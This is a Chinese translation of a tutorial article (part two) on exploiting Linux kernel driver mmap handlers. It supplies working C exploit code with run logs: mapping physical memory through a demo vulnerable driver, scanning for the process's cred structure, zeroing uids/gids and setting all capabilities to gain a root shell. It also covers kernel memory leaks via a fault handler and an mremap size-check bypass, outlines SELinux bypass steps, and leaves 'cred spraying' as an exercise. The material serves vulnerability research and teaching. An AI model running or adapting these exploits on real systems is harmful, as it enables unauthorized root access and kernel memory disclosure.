查看原文
其他

内核驱动mmap Handler利用技术(二)

2018-01-17 玉涵 看雪学院

上一部分回顾:内核驱动mmap Handler利用技术(一)



4. 利用mmap Handlers




4.1 原理


到此我们理解了如何去实现一个可以获取任意内存地址(通常是内核内存)访问权的mmap handler。现在的问题是:我们如何用现有的知识来获取root权限?我们考虑两种基本情景:


  1. 我们知道物理内存布局(通常通过/proc/iomem)

  2. 黑盒模型 - 我们只是有一个非常大的mmap


当我们了解了物理内存布局后,我们可以轻易地查看我们映射了内存的那个区域,也可以试图去把想要的内存区域与虚拟地址进行关联。


这允许我们对信令(creds)/函数指针执行精准的覆写。

 

更有意思的在于完成黑盒模型的情景。它可以工作在多版本内核和CPU架构,且一旦写成了exploit,它对不同的驱动来说都会更为的可靠。


为了写这样的exp,我么需要找出内存中的一些pattern,这些pattern可以直接告诉我们找到的东西是否有用。


当我们开始考虑我们可以搜索到什么时,我们就迅速的找到了实现方法:“有一些我们可以搜索的明显pattern,至少16字节,既然是全部内存我们应该可以几乎找到任何东西”。


如果我们看一下credential结构体(struct cred)的话,就可以看到一些有意思的数据:


struct cred {
  atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
  atomic_t subscribers; /* number of processes subscribed */
  void *put_addr;
  unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
  kuid_t uid; /* real UID of the task */
  kgid_t gid; /* real GID of the task */
  kuid_t suid; /* saved UID of the task */
  kgid_t sgid; /* saved GID of the task */
  kuid_t euid; /* effective UID of the task */
  kgid_t egid; /* effective GID of the task */
  kuid_t fsuid; /* UID for VFS ops */
  kgid_t fsgid; /* GID for VFS ops */
  unsigned securebits; /* SUID-less security management */
  kernel_cap_t cap_inheritable; /* caps our children can inherit */
  kernel_cap_t cap_permitted; /* caps we're permitted */
  kernel_cap_t cap_effective; /* caps we can actually use */
  kernel_cap_t cap_bset; /* capability bounding set */
  kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
  unsigned char jit_keyring; /* default keyring to attach requested * keys to */
  struct key __rcu *session_keyring; /* keyring inherited over fork */
  struct key *process_keyring; /* keyring private to this process */
  struct key *thread_keyring; /* keyring private to this thread */
  struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
  void *security; /* subjective LSM security */
#endif
  struct user_struct *user; /* real user ID subscription */
  struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
  struct group_info *group_info; /* supplementary groups for euid/fsgid */
  struct rcu_head rcu; /* RCU deletion hook */
};


cred结构体用于控制我们线程的信令。这意味着我们可以掌握此结构体的大部分值,可以通过简单的读/proc/<pid>/status或者通过系统调用获取。

 

查看结构体定义可以观察到有8个连续的整型变量,我们对此很熟悉(uid,gid,suid,sgid等)。紧随其后是一个4字节的securebits变量,再后面是4或5个(实际数量取决于内核版本)long long int(cap_inheritable等)。

 

我们获取root权限的计划是:


  1. 获取我们的credentials

  2. 扫描内存去查找这样的一组跟随4-5个long long int型capabilities变量的8个int型变量。在capabilities和uids/gids之间还应该有4个字节的留空。

  3. 将uids/gids改为值0

  4. 调用getuid(),检查我们是否已经是root用户

  5. 如果是,则将capabilities修改为值0xffffffffffffffff

  6. 如果不是,则恢复uids/gids的旧值,继续查找;重复步骤2

  7. 我们现在是root,跳出循环


在某些情况下,这一方案不奏效,例如:

  • 如果内核是坚固的,一些组建对提权进行了监视(例如,一些三星手机设备上的Knox)。

  • 如果我们已经有了值为0的uid。这种情况下我们好像可以修改内核的一些东西因为内核包含了大量的0值在内存中而我们的pattern没什么用。

  • 如果一些安全模块被使能(SELinux, Smack等),我们可能完成的是部分提权,安全模块需要通过后面的步骤来绕过。


在安全模块的情况下,cred结构体的security域拥有一个指向内核使用的特殊安全模块定义的结构体。例如,对SELinux来说他是指向一个包含下列结构体的内存区域:


struct task_security_struct {
  u32 osid;             /* SID prior to last execve */
  u32 sid;                 /* current SID */
  u32 exec_sid;         /* exec SID */
  u32 create_sid;         /* fscreate SID */
  u32 keycreate_sid;     /* keycreate SID */
  u32 sockcreate_sid;     /* fscreate SID */

};


我们可以替换security域的指针为一个我们已经控制的地址(如果给定架构(如arm, aarch64)允许我们在内核中直接访问用户空间映射的话,我们可以提供用户空间映射),然后brute force sid值。进程应该相对快速因为大部分权限标签例如内核或初始化时会将该值设置为0到512之间。

 

为了绕过SELinux我们需要尝试下列步骤:


  • 准备一个新的SELinux策略,该策略将当前SELinux的上下文设置成宽松

  • 固定伪造的包含全0值的security结构

  • 尝试去重载SELinux策略

  • 恢复旧的安全指针

  • 尝试去执行一个恶意行为,该行为此前被SELinux禁止

  • 如果他工作的话,我们就绕过了SELinux

  • 如果不行的话,在我们伪造的security结构中递增sid值,重试



4.2 基础mmap Handler利用


这一部分我们将会尝试开发一个完整root权限的exp,针对下面的代码:


static int simple_mmap(struct file *filp, struct vm_area_struct *vma)

{
  printk(KERN_INFO "MWR: Device mmap\n");
  printk(KERN_INFO "MWR: Device simple_mmap( size: %lx, offset: %lx)\n", vma->vm_end - vma->vm_start, vma->vm_pgoff);
  if (remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff, vma->vm_end - vma->vm_start, vma->vm_page_prot))
  {
    printk(KERN_INFO "MWR: Device mmap failed\n");
    return -EAGAIN;
  }
  printk(KERN_INFO "MWR: Device mmap OK\n");
  return 0;
}


代码有2个漏洞:

  • vma->vm_pgoff在remap_pfn_range中被作为一个物理地址直接使用而没有进行安检。

  • 传递给remap_pfn_range的映射尺寸没有做安检。


我们exp开发的第一步就是,创建触发漏洞的代码,使用它创建一个非常大的内存映射:


int main(int argc, char * const * argv)
{
  printf("[+] PID: %d\n", getpid());
  int fd = open("/dev/MWR_DEVICE", O_RDWR);
  if (fd < 0)
  {
    printf("[-] Open failed!\n");
    return -1;
  }
  printf("[+] Open OK fd: %d\n", fd);
 
  unsigned long size = 0xf0000000;
  unsigned long mmapStart = 0x42424000;
  unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
  if (addr == MAP_FAILED)
  {
    perror("Failed to mmap: ");
    close(fd);
    return -1;
  }
 
  printf("[+] mmap OK addr: %lx\n", addr);
  int stop = getchar();
  return 0;
}


上面的代码会打开有漏洞的驱动并且调用mmap,传递了0xf0000000字节作为size,0作为offset。下面我们会看到log中记载了我们的调用成功了:


$ ./mwr_client
[+] PID: 3855
[+] Open OK fd: 3
[+] mmap OK addr: 42424000


我们可以通过查看内存映射来验证:


# cat /proc/3855/maps
42424000-132424000 rw-s 00000000 00:06 30941                         /dev/MWR_DEVICE


与此同时,dmesg中也可以看到mmap成功了:


[18877.692697] MWR: Device has been opened 2 time(s)
[18877.692710] MWR: Device mmap
[18877.692711] MWR: Device simple_mmap( size: f0000000, offset: 0)
[18877.696716] MWR: Device mmap OK


如果我们检查物理地址空间,我们可以看到有了这个映射后我们可以访问下面00000000-e0ffffff间的所有地址。这是因为我们传递了0作为物理地址定位、0xf0000000作为字节数:


# cat /proc/iomem

00000000-00000fff : reserved
00001000-0009fbff : System RAM 0009fc00-0009ffff : reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c7fff : Video ROM
000e2000-000e2fff : Adapter ROM
000f0000-000fffff : reserved
000f0000-000fffff : System ROM
00100000-dffeffff : System RAM
bac00000-bb20b1e1 : Kernel code
bb20b1e2-bb91c4ff : Kernel data
bba81000-bbb2cfff : Kernel bss
dfff0000-dfffffff : ACPI Tables
e0000000-ffdfffff : PCI Bus 0000:00
e0000000-e0ffffff : 0000:00:02.0
f0000000-f001ffff : 0000:00:03.0
f0000000-f001ffff : e1000
f0400000-f07fffff : 0000:00:04.0
f0400000-f07fffff : vboxguest
f0800000-f0803fff : 0000:00:04.0
f0804000-f0804fff : 0000:00:06.0
f0804000-f0804fff : ohci_hcd
f0805000-f0805fff : 0000:00:0b.0
f0805000-f0805fff : ehci_hcd
fec00000-fec003ff : IOAPIC 0
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : reserved
100000000-11fffffff : System RAM


我们可以选择增大映射的尺寸来涵盖所有的物理地址空间。然而,我们这里不会如此做,这样一来我们可以展示一些当我们没有能力访问全部系统内存时所面对的限制。

 

下一步去实现在内存中搜索cred结构体。我们按4.1节中所说的进行操作。我们会轻量的修改进程因为我们仅仅需要搜索8个包含我们的uid值的整型数。一个简单的实现看起来如下:


int main(int argc, char * const * argv)
{
...
  printf("[+] mmap OK addr: %lx\n", addr);
 
  unsigned int uid = getuid();
  printf("[+] UID: %d\n", uid);
 
  unsigned int credIt = 0;
  unsigned int credNum = 0;
  while (((unsigned long)addr) < (mmapStart + size - 0x40))
  {
    credIt = 0;
    if ( addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid )
    {
      credNum++;
      printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum);
    }
 
    addr++;
  }
  puts("[+] Scanning loop END");
  fflush(stdout);
  int stop = getchar();
  return 0;
}


在我们的exp输出中,可以看到找到了一些潜在的cred结构体:


$ ./mwr_client
[+] PID: 5241
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a86e184, credNum: 1
[+] Found cred structure! ptr: 0x11a86e244, credNum: 2
[+] Found cred structure! ptr: 0x11b7823c4, credNum: 7
[+] Found cred structure! ptr: 0x11b782604, credNum: 8
[+] Found cred structure! ptr: 0x11b7c1244, credNum: 9


下一步是去找到哪个cred结构体属于我们的进程,修改它的uid/gid:


int main(int argc, char * const * argv)
{
...
  printf("[+] mmap OK addr: %lx\n", addr);
  unsigned int uid = getuid();
  printf("[+] UID: %d\n", uid);
  ;
  unsigned int credIt = 0;
  unsigned int credNum = 0;
  while (((unsigned long)addr) < (mmapStart + size - 0x40))
  {
    credIt = 0;
    if ( ... )
    {
      credNum++;
      printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum);
      credIt = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      if (getuid() == 0)
      {
        puts("[+] GOT ROOT!");
        break;
      }
      else
      {
        credIt = 0;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
      }
    }
    addr++;
  }
  puts("[+] Scanning loop END");
  fflush(stdout);
  int stop = getchar();
  return 0;
}


我们运行exp可以看到:


i$ ./mwr_client
[+] PID: 5286
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a973f04, credNum: 1 …
[+] Found cred structure! ptr: 0x11b7eeb44, credNum: 7
[+] GOT ROOT!
[+] Scanning loop END


可以看到我们成功get root权限,检查一下这是否是真的:


cat /proc/5286/status

Name: mwr_client
Umask: 0022
State: S (sleeping)
Tgid: 5286
Ngid: 0
Pid: 5286
PPid: 2939
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
FDSize: 256
Groups: 1000
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000


我们可以看到我们的UIDs和GIDs都已经从1000改成了0,我们的exp有效果,现在我们几乎就是一个root用户。

 

如果我们多次运行exp就可以发现,并不是总是能够获取root。成功率几乎是4/5,也就是80%左右。我们前面提到了我们仅仅映射了部分的物理地址。exp失败的原因在于,20%的情况下我们没能扫描整个内核内存(最后100000000-11fffffff也是system RAM,结构分配到了这里):


# cat /proc/iomem

00000000-00000fff : reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c7fff : Video ROM
000e2000-000e2fff : Adapter ROM
000f0000-000fffff : reserved
000f0000-000fffff : System ROM
00100000-dffeffff : System RAM
bac00000-bb20b1e1 : Kernel code
bb20b1e2-bb91c4ff : Kernel data
bba81000-bbb2cfff : Kernel bss
dfff0000-dfffffff : ACPI Tables
e0000000-ffdfffff : PCI Bus 0000:00
e0000000-e0ffffff : 0000:00:02.0
f0000000-f001ffff : 0000:00:03.0
f0000000-f001ffff : e1000
f0400000-f07fffff : 0000:00:04.0
f0400000-f07fffff : vboxguest
f0800000-f0803fff : 0000:00:04.0
f0804000-f0804fff : 0000:00:06.0
f0804000-f0804fff : ohci_hcd
f0805000-f0805fff : 0000:00:0b.0
f0805000-f0805fff : ehci_hcd
fec00000-fec003ff : IOAPIC 0
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : reserved
100000000-11fffffff : System RAM


再次查看物理内存布局就会看到System RAM区域超出了我们映射的可控的范围。经常会有这种情况,我们在面对mmap handler输入检查时值是受限的。


例如,我们可能有能力mmap 1GB内存但是却不能控制这以外的物理地址。可以使用一个cred喷射来轻易解决这个问题。


我们创建100-1000个子进程,每一个都会检查是否有权限变更。一旦一个子进程获取了root权限就会通知父进程并终止循环扫描。剩下的提权步骤由这个单一子进程完成即可。

 

我们忽略cred喷射的修改以保持exp代码的整洁,取而代之的,这作为给读者的一个挑战。我们强烈推荐你实现一个cred喷射作为实践并看看这多么的简单有效。

 

到此,让我们回头去完成exp代码:


int main(int argc, char * const * argv)

{
...
    if (getuid() == 0)
    {
      puts("[+] GOT ROOT!");
      credIt += 1; //Skip 4 bytes, to get capabilities addr
      [credIt++] = 0xffffffff;
      addr[credIt++] = 0xffffffff;
      addr[credIt++] = 0xffffffff;
      addr[credIt++] = 0xffffffff;
      addr[credIt++] = 0xffffffff;
      addr[credIt++] = 0xffffffff;
      addr[credIt++] = 0xffffffff;
      addr[credIt++] = 0xffffffff;
      addr[credIt++] = 0xffffffff;
      addr[credIt++] = 0xffffffff;
      execl("/bin/sh", "-", (char *)NULL);
      puts("[-] Execl failed...");
      break;
    }
    else
...
    }
      addr++;
  }    
  puts("[+] Scanning loop END");
  fflush(stdout);
 
  int stop = getchar();
  return 0;
}


上面的代码会覆盖5个capabilities变量并且开启一个交互式的shell。下面是exp的结果:


$ ./mwr_client

[+] PID: 5734
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a9840c4, credNum: 1
[+] Found cred structure! ptr: 0x11a984904, credNum: 2
[+] Found cred structure! ptr: 0x11b782f04, credNum: 3
[+] Found cred structure! ptr: 0x11b78d844, credNum: 4
[+] GOT ROOT!
# id
uid=0(root) gid=0(root) groups=0(root),1000(lowpriv)
# cat /proc/self/status
Name: cat
Umask: 0022
State: R (running)
Tgid: 5738
Ngid: 0
Pid: 5738
PPid: 5734
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
FDSize: 64
Groups: 1000
CapInh: ffffffffffffffff
CapPrm: ffffffffffffffff
CapEff: ffffffffffffffff
CapBnd: ffffffffffffffff
CapAmb: ffffffffffffffff
Seccomp: 0



4.3 mmap Handler中fault Handler利用


本例子我们将利用mmap的fault handler。既然我们已经知道了如何利用有漏洞的mmap handler去获取root权限,我们将焦点转移到信息泄露。

 

这一次我们的驱动只读:


$ ls -la /dev/MWR_DEVICE
crw-rw-r-- 1 root root 248, 0 Aug 24 12:02 /dev/MWR_DEVICE


使用下面的代码:


static struct file_operations fops =

{
  .open = dev_open,
  .mmap = simple_vma_ops_mmap,
  .release = dev_release,
};
 
int size = 0x1000;
static int dev_open(struct inode *inodep, struct file *filep)
{
...
  filep->private_data = kzalloc(size, GFP_KERNEL);
...
  return 0;
}
 
static struct vm_operations_struct simple_remap_vm_ops = {
  .open = simple_vma_open,
  .close = simple_vma_close,
  .fault = simple_vma_fault,
};
 
static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
  printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
  vma->vm_private_data = filp->private_data;
  vma->vm_ops = &simple_remap_vm_ops;
  simple_vma_open(vma);
  printk(KERN_INFO "MWR: Device mmap OK\n");
  return 0;
}
 
int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
  struct page *page = NULL;
  unsigned long offset;
  printk(KERN_NOTICE "MWR: simple_vma_fault\n");
  printk(KERN_NOTICE "MWR: vmf->pgoff: %lx, vma->vm_pgoff: %lx, sum: %lx, PAGE_SHIFT: %x\n", (unsigned long)vmf->pgoff, (unsigned long)vma->vm_pgoff, ((vmf->pgoff << PAGE_SHIFT) + (vma->vm_pgoff << PAGE_SHIFT)), PAGE_SHIFT);
  offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma->vm_pgoff << PAGE_SHIFT));
  if (offset > PAGE_SIZE << 4)
    goto nopage_out;
  page = virt_to_page(vma->vm_private_data + offset);
  vmf->page = page;
  get_page(page);
  nopage_out:
  return 0;
}


拥有一个只读的驱动意味着我们没有能力去映射可写的内存,我们仅仅能读而已。

 

我们以分析驱动代码开始,可以看到驱动的open操作,函数为dev_open,它简单的分配了0x1000字节的缓冲区。


在simple_vma_ops_mmap中mmap handler可以看到没有任何的安检,一个虚拟内存操作结构体被指派给了需要的内存区域。


在该结构体中我们可以找到simple_vma_fault这个fault handler的实现。

 

simple_vma_fault函数一开始计算了内存页的偏移,此后,它通过此前额外分配的缓冲区(vma->vm_private_data)以及offset变量来找到内存页。最后,找到的内存页被指派给了vmf->page域。这会引起在错误发生时,该page会被映射到虚拟地址。

 

然而,在页返回之前,有一个安检:


if (offset > PAGE_SIZE << 4)
  goto nopage_out;


上面的检查会查看fault触发时,是否会返回一个超过0x10000的地址,如果是的话,就会禁止对该页的访问。

 

如果我们检查驱动buffer的size的话,就会看到这个值是小于0x10000的,该值实际上是前面分配的0x1000字节:


int size = 0x1000;

static int dev_open(struct inode *inodep, struct file *filep)
{
...
  filep->private_data = kzalloc(size, GFP_KERNEL);
...
  return 0;
}


这就允许一个恶意进程去请求驱动buffer后面的0x9000个字节,泄露内核内存地址。

 

让我们使用下面的代码来完成驱动的exp:


void hexDump(char *desc, void *addr, int len);

 
int main(int argc, char * const * argv)
{
  int fd = open("/dev/MWR_DEVICE", O_RDONLY);
  if (fd < 0)
  {
    printf("[-] Open failed!\n");
    return -1;
  }
  printf("[+] Open OK fd: %d\n", fd);
 
  unsigned long size = 0x10000;
  unsigned long mmapStart = 0x42424000;
  unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ, MAP_SHARED, fd, 0x0);
  if (addr == MAP_FAILED)
  {
    perror("Failed to mmap: ");
    close(fd);
    return -1;
  }
 
  printf("[+] mmap OK addr: %lx\n", addr);
  hexDump(NULL, addr, 0x8000); // Dump mapped buffer
  int stop = getchar();
  return 0;
}


代码看起来和标准的驱动使用方法很像。我们先打开一个设备,映射0x10000字节内存并转储该映射内存(hexDump函数打印十六进制表示的缓冲区到stdout)。

 

让我们看看exp的输出:


$ ./mwr_client

[+] Open OK fd: 3
[+] mmap OK addr: 42424000
0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
2000 00 00 00 00 00 00 00 00 08 00 76 97 ae 90 ff ff ..........v.....
2010 08 00 76 97 ae 90 ff ff 18 00 76 97 ae 90 ff ff ..v.......v.....
2020 18 00 76 97 ae 90 ff ff 28 00 76 97 ae 90 ff ff ..v.....(.v.....
2030 28 00 76 97 ae 90 ff ff 00 00 00 00 00 00 00 00 (.v.............
2040 00 00 00 00 00 00 00 00 25 00 00 00 00 00 00 00 ........%.......
2050 00 1c 72 95 ae 90 ff ff 00 00 00 00 00 00 00 00 ..r.............
...


在输出中可以看到,0x2000偏移有一些数据。驱动缓冲区在0x1000处截止所以读超出这个buffer就意味着我们可以成功的泄露内核内存。

 

更进一步,我们可以看到dmesg的输出中,我们已经成功访问到了不止一页的内存:


[ 681.740347] MWR: Device has been opened 1 time(s)

[ 681.740438] MWR: Device simple_vma_ops_mmap
[ 681.740440] MWR: Simple VMA open, virt 42424000, phys 0
[ 681.740440] MWR: Device mmap OK
[ 681.740453] MWR: simple_vma_fault
[ 681.740454] MWR: vmf->pgoff: 0, vma->vm_pgoff: 0, sum: 0, PAGE_SHIFT: c
[ 681.741695] MWR: simple_vma_fault
[ 681.741697] MWR: vmf->pgoff: 1, vma->vm_pgoff: 0, sum: 1000, PAGE_SHIFT: c
[ 681.760845] MWR: simple_vma_fault
[ 681.760847] MWR: vmf->pgoff: 2, vma->vm_pgoff: 0, sum: 2000, PAGE_SHIFT: c
[ 681.765431] MWR: simple_vma_fault
[ 681.765433] MWR: vmf->pgoff: 3, vma->vm_pgoff: 0, sum: 3000, PAGE_SHIFT: c
[ 681.775586] MWR: simple_vma_fault
[ 681.775588] MWR: vmf->pgoff: 4, vma->vm_pgoff: 0, sum: 4000, PAGE_SHIFT: c
[ 681.776835] MWR: simple_vma_fault
[ 681.776837] MWR: vmf->pgoff: 5, vma->vm_pgoff: 0, sum: 5000, PAGE_SHIFT: c
[ 681.777991] MWR: simple_vma_fault
[ 681.777992] MWR: vmf->pgoff: 6, vma->vm_pgoff: 0, sum: 6000, PAGE_SHIFT: c
[ 681.779318] MWR: simple_vma_fault
[ 681.779319] MWR: vmf->pgoff: 7, vma->vm_pgoff: 0, sum: 7000, PAGE_SHIFT: c



4.4 mmap Handler中fault Handler的利用 V2


让我们假定开发者引入了前面代码中simple_vma_ops_mmap函数的一个修改。如下面所见,新的代码检查了映射的尺寸是否小于0x1000。理论上,这会阻止前面的exp生效。


static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
  unsigned long size = vma->vm_end - vma->vm_start;
  printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
  vma->vm_private_data = filp->private_data;
  vma->vm_ops = &simple_remap_vm_ops;
  simple_vma_open(vma);
 
  if (size > 0x1000)
  {
    printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of memory\n");
    return -EAGAIN;
  }
 
  printk(KERN_INFO "MWR: Device mmap OK\n");
  return 0;
}


然而,代码依然是可以利用的,尽管我们不能再利用mmap创建一个非常大的映射内存。我们可以分割映射进程成两步:

  • 调用mmap分配0x1000字节

  • 调用mremap分配0x10000字节


这意味着一开始我们创建一个小的0x1000字节的映射,它会顺利的通过安检。此后我们利用mremap增大尺寸。最终,我们可以像此前那样转储内存:


int main(int argc, char * const * argv)
{
  int fd = open("/dev/MWR_DEVICE", O_RDONLY);
  if (fd < 0)
  {
    printf("[-] Open failed!\n");
    return -1;
  }
  printf("[+] Open OK fd: %d\n", fd);
 
  unsigned long size = 0x1000;
  unsigned long mmapStart = 0x42424000;
  unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ, MAP_SHARED, fd, 0x0);
  if (addr == MAP_FAILED)
  {
    perror("Failed to mmap: ");
    close(fd);
    return -1;
  }
 
  printf("[+] mmap OK addr: %lx\n", addr);
  addr = (unsigned int *)mremap(addr, size, 0x10000, 0);
  if (addr == MAP_FAILED)
  {
    perror("Failed to mremap: ");
    close(fd);
    return -1;
  }
  printf("[+] mremap OK addr: %lx\n", addr);
 
  hexDump(NULL, addr, 0x8000);
 
  int stop = getchar();
  return 0;
}


我们的exp输出如下。有一次看到了转储的内存内容中包含了本不该独到的内容:

$ ./mwr_client
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] mremap OK addr: 42424000
0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
4c00 25 b0 4d c3 00 00 00 00 25 c0 4d c3 00 00 00 00 %.M.....%.M.....
4c10 25 d0 4d c3 00 00 00 00 25 e0 4d c3 00 00 00 00 %.M.....%.M.....
4c20 25 f0 4d c3 00 00 00 00 25 00 4e c3 00 00 00 00 %.M.....%.N.....
4c30 25 10 4e c3 00 00 00 00 00 00 00 00 00 00 00 00 %.N.............
4c40 25 30 4e c3 00 00 00 00 25 40 4e c3 00 00 00 00 %0N.....%@N.....
...



5. 奇技淫巧




5.1 为了胜利而挖掘


通常当分析mmap handler时,我们可以找到一大堆位掩码、位移以及算术操作。这些操作可以使得错过具体的魔数更为容易,这允许一个攻击者绕过输入安检并获取到预料之外的具体内存区域访问权限。


有两个值需要我们去挖掘;映射的offset和size。仅有两个值需要挖掘意味着我们可以挖掘该驱动相对快一点,允许我们尝试一个范围的数,确保我们彻底的测试所有可能的边缘情况。



5.2 相同议题的不同函数


本文中我们描述了使用remap_pfn_range函数以及它的fault handler来创建内存映射。然而,这并不是唯一的可以被本方式利用的函数,有一大堆其他的函数在滥用的情况下也会导致内存区域的任意修改。


你无法仅通过一个单一函数的使用而保证某个驱动是安全的。其他潜在的有意思的函数可能是:

  • vm_insert_page

  • vm_insert_pfn

  • vm_insert_pfn_prot

  • vm_iomap_memory

  • io_remap_pfn_range

  • remap_vmalloc_range_partial

  • remap_vmalloc_range


不同内核版本中,函数列表不完全一致。



5.3 如何去搜索这一类漏洞?


本文中我们描述了设备驱动在实现mmap handler时的一种漏洞。然而,几乎任何的子系统都实现了一个自定义的mmap handler。proc, sysfs, debugfs, 自定义文件系统, sockets以及任何提供了文件描述符的子系统,它们都可能实现了一个有漏洞的mmap handler。

 

此外,remap_pfn_range可能被任何系统调用所调用,不只是mmap。你也可以在ioctl的handlers中找到该函数。





本文由看雪论坛玉涵 编译,来源exploit-database-papers

转载请注明来自看雪社区



热门阅读


点击阅读原文/read,

更多干货等着你~



您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存